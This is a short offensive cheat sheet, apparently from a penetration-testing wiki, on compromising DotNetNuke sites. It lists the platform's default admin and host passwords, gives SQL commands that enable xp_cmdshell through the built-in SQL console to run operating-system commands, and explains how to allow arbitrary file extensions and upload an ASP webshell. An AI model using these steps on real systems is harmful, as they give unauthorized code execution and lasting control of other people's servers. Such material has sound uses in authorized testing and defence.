DNN
Default Creds
$ creds search DotNetNuke
+------------------------+----------+----------+
| Product | username | password |
+------------------------+----------+----------+
| dotnetnuke corporation | admin | dnnadmin |
| dotnetnuke corporation | host | dnnhost |
+------------------------+----------+----------+
RCE
SQL Console
System command can be run via the built-in SQL console under the Settings menu.
# enable xp_cmdshell
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
After pressing Run Script
OS commands can be executed.
xp_cmdshell 'whoami'
ASP Webshell
If the SuperUser
account is compromised, we can access the Security settings (Figure 1) and allow any file extensions needed so we can upload a webshell (Figure 2).


Upload a webshell, such as this .asp
webshell (Figure 3).

Get the file's URL by right-clicking and interact with the webshell.

Resources
Last updated
Was this helpful?